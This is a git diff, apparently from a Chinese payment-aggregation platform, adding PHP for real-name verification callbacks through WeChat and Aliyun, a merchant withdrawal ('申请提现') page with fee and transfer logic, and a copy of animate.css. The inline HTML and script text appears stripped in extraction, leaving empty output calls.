                                  '); + } + +}elseif($conf['cert_open'] == 4){ //微信扫码实名认证 + $uid = intval($_GET['state']); + $AuthToken = isset($_GET['AuthToken'])?$_GET['AuthToken']:exit('param is error'); + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$uid}' limit 1"); + if(!$userrow)sysmsg('uid不存在'); + if($AuthToken!=$userrow['certtoken'])sysmsg('AuthToken不正确'); + + $qcloud = new \lib\QcloudFaceid($conf['cert_qcloudid'], $conf['cert_qcloudkey']); + $result = $qcloud->GetRealNameAuthResult($AuthToken); + if(isset($result['ResultType'])){ + if($result['ResultType'] == '0'){ + if($DB->exec("update `pre_user` set `cert`=1 where `uid`='$uid'")){ + $DB->exec("update `pre_user` set `certtime`='$date' where `uid`='$uid'"); + if($conf['cert_money']>0){ + changeUserMoney($uid, $conf['cert_money'], false, '实名认证'); + } + } + }else{ + $msg = '实名认证未通过'; + if($result['ResultType'] == '-1'){ + $msg .= ':姓名和身份证号不一致'; + }elseif($result['ResultType'] == '-2'){ + $msg .= ':姓名和微信实名姓名不一致'; + }elseif($result['ResultType'] == '-3'){ + $msg .= ':微信号未实名'; + }else{ + $msg .= '(ResultType='.$result['ResultType'].')'; + } + sysmsg('
                                  '.$msg.'
                                  '); + } + }else{ + sysmsg('接口返回异常['.$result['Error']['Code'].']'.$result['Error']['Message']); + } + +}elseif($conf['cert_open'] == 5){ //阿里云金融级实人认证 + $uid = authcode($_GET['state'], 'DECODE', SYS_KEY); + if(!$uid || $uid<=0)sysmsg('state校验失败'); + $uid = intval($uid); + + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$uid}' limit 1"); + if(!$userrow)sysmsg('uid不存在'); + $certtoken = $userrow['certtoken']; + + $aliyun = new \lib\AliyunCertify($conf['cert_aliyunid'], $conf['cert_aliyunkey'], $conf['cert_aliyunsceneid']); + $result = $aliyun->query($certtoken); + if (isset($result['Code']) && $result['Code']==200) { + if($result['Data']['passed'] == 'T'){ + if($DB->exec("update `pre_user` set `cert`=1 where `uid`='$uid'")){ + $DB->exec("update `pre_user` set `certtime`='$date' where `uid`='$uid'"); + if($conf['cert_money']>0){ + changeUserMoney($uid, $conf['cert_money'], false, '实名认证'); + } + } + }else{ + sysmsg('
                                  实名认证未通过('.$result['Data']['fail_reason'].')
                                  '); + } + }else{ + sysmsg('接口返回异常['.$result['Code'].']'.$result['Message']); + } +} +if($islogin2==1){ + exit(""); +} +@header('Content-Type: text/html; charset=UTF-8'); +include PAYPAGE_ROOT.'certok.php'; diff --git a/user/apply.php b/user/apply.php new file mode 100644 index 0000000..5fdba29 --- /dev/null +++ b/user/apply.php @@ -0,0 +1,198 @@ +window.location.href='./login.php';"); +$title='申请提现'; +include './head.php'; +?> +getColumn("SELECT SUM(realmoney) from pre_order where uid={$uid} and status=1 and endtime>='$today'"); + if(!$order_today) $order_today = 0; + $enable_money=round($userrow['money']-$order_today,2); + if($enable_money<0)$enable_money=0; +}else{ + $enable_money=$userrow['money']; +} + +if(isset($_GET['act']) && $_GET['act']=='do'){ + if($_POST['submit']=='申请提现'){ + if(!checkRefererHost())exit(); + $money=daddslashes(strip_tags($_POST['money'])); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money) || $money<=0)exit(""); + if($enable_money<$conf['settle_money']){ + exit(""); + } + if($money>$enable_money){ + exit(""); + } + if($money<$conf['settle_money']){ + exit(""); + } + if($userrow['settle']==0){ + exit(""); + } + if($conf['settle_maxlimit']>0){ + $a_count = $DB->getColumn('SELECT count(*) FROM pre_settle WHERE uid=:uid AND addtime>=:addtime', [':uid'=>$uid, ':addtime'=>date('Y-m-d').' 00:00:00']); + if($a_count >= $conf['settle_maxlimit']){ + exit(""); + } + } + if($conf['settle_rate']>0){ + $fee=round($money*$conf['settle_rate']/100,2); + if(!empty($conf['settle_fee_min']) && $fee<$conf['settle_fee_min'])$fee=$conf['settle_fee_min']; + if(!empty($conf['settle_fee_max']) && $fee>$conf['settle_fee_max'])$fee=$conf['settle_fee_max']; + $realmoney=round($money-$fee, 2); + }else{ + $realmoney=round($money, 2); + } + $data = ['uid'=>$uid, 'type'=>$userrow['settle_id'], 'account'=>$userrow['account'], 'username'=>$userrow['username'], 'money'=>$money, 'realmoney'=>$realmoney, 'addtime'=>'NOW()', 'status'=>0]; + if($DB->insert('settle', $data)){ + $settleid=$DB->lastInsertId(); + changeUserMoney($uid, $money, false, '手动提现'); + if($conf['settle_transfer']==1 && $conf['settle_transfermax']>0 && $money>$conf['settle_transfermax']) $conf['settle_transfer']=0; + $app = convert_type($userrow['settle_id']); + $channelid = $conf['transfer_'.$app]; + if($conf['settle_transfer']==1 && $channelid > 0){ + $out_biz_no = date("YmdHis").rand(11111,99999); + $channel = \lib\Channel::get($channelid); + $result = \lib\Transfer::submit($app, $channel, $out_biz_no, $userrow['account'], $userrow['username'], $realmoney); + if($result['code']==0){ + $update = ['status'=>1, 'endtime'=>'NOW()', 'transfer_no'=>$out_biz_no, 'transfer_channel'=>$channelid, 'transfer_status'=>1, 'transfer_result'=>$result["orderid"], 'transfer_date'=>$result["paydate"]]; + if(isset($result['wxpackage'])) $update['transfer_ext'] = $result['wxpackage']; + $DB->update('settle', $update, ['id'=>$settleid]); + if($result['status'] == 1){ + $msg = '提现成功,资金已到账!'; + }elseif(isset($result['wxpackage'])){ + if(checkwechat()){ + $jumpurl = $siteurl.'paypage/wxtrans.php?id='.$out_biz_no.'&type=transfer'; + exit(""); + } + $msg = '提现成功!请在结算记录页面扫描二维码确认收款,1天内未确认,将退还给商家。'; + }else{ + $msg = '提现成功,资金稍后到账!'; + } + exit(""); + }else{ + $message='转账失败 '.$result['msg']; + $DB->update('settle', ['status'=>3, 'result'=>$result["msg"], 'transfer_status'=>2, 'transfer_result'=>$message], ['id'=>$settleid]); + \lib\MsgNotice::send('apply', 0, ['uid'=>$uid, 'money'=>$money, 'realmoney'=>$realmoney, 'type'=>display_type($userrow['settle_id']), 'account'=>$userrow['account'], 'username'=>$userrow['username']]); + exit(""); + } + }else{ + \lib\MsgNotice::send('apply', 0, ['uid'=>$uid, 'money'=>$money, 'realmoney'=>$realmoney, 'type'=>display_type($userrow['settle_id']), 'account'=>$userrow['account'], 'username'=>$userrow['username']]); + } + } + exit(""); + } +} + + +?> +
                                  +
                                  + +
                                  +

                                  申请提现

                                  +
                                  +
                                  + +
                                  + +
                                  + +
                                  +
                                  + 申请提现 +
                                  +
                                  +
                                  +
                                  + + +
                                  +
                                  + +
                                  + +
                                  +
                                  +
                                  + +
                                  + +
                                  +
                                  +
                                  + +
                                  + +
                                  +
                                  +
                                  + +
                                  + +
                                  +
                                  +
                                  + +
                                  + +
                                  +
                                  +
                                  +

                                  +
                                  + +
                                  +

                                  +

                                  注意事项

                                  + 当前最低提现金额为
                                  + 当前手动提现模式是:D+1,可提现余额为截止到前一天你的收入':'D+0,可提现余额为截止到现在你的收入';?>
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + + \ No newline at end of file diff --git a/user/assets/css/animate.min.css b/user/assets/css/animate.min.css new file mode 100644 index 0000000..789ed0e --- /dev/null +++ b/user/assets/css/animate.min.css @@ -0,0 +1,6 @@ +@charset "UTF-8";/*! +Animate.css - http://daneden.me/animate +Licensed under the MIT license - http://opensource.org/licenses/MIT + +Copyright (c) 2013 Daniel Eden +*/.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes bounce{0%,100%,20%,53%,80%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,.050,.855,.060);transition-timing-function:cubic-bezier(0.755,.050,.855,.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,.050,.855,.060);transition-timing-function:cubic-bezier(0.755,.050,.855,.060);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{0%,100%,20%,53%,80%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,.050,.855,.060);transition-timing-function:cubic-bezier(0.755,.050,.855,.060);-webkit-transform:translate3d(0,-30px,0);-ms-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,.050,.855,.060);transition-timing-function:cubic-bezier(0.755,.050,.855,.060);-webkit-transform:translate3d(0,-15px,0);-ms-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);-ms-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);-ms-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes rubberBand{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{0%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);-ms-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);-ms-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);-ms-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);-ms-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);-ms-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);-ms-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);-ms-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);-ms-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);-ms-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);-ms-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);-ms-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);-ms-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{0%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);-ms-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);-ms-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);-ms-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{0%{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;transform:none}}@keyframes wobble{0%{-webkit-transform:none;-ms-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);-ms-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);-ms-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);-ms-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);-ms-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);-ms-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;-ms-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes bounceIn{0%,100%,20%,40%,60%,80%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceIn{0%,100%,20%,40%,60%,80%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);-ms-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);-ms-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);-ms-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);-ms-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);-ms-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceInDown{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInDown{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);-ms-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);-ms-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);-ms-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);-ms-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;-ms-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);-ms-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);-ms-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);-ms-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);-ms-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;-ms-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInRight{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);-ms-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);-ms-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);-ms-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);-ms-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;-ms-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{0%,100%,60%,75%,90%{-webkit-transition-timing-function:cubic-bezier(0.215,.61,.355,1);transition-timing-function:cubic-bezier(0.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);-ms-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);-ms-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);-ms-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);-ms-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);-ms-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);-ms-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);-ms-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);-ms-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);-ms-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);-ms-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);-ms-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);-ms-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);-ms-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);-ms-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);-ms-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);-ms-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);-ms-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);-ms-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes 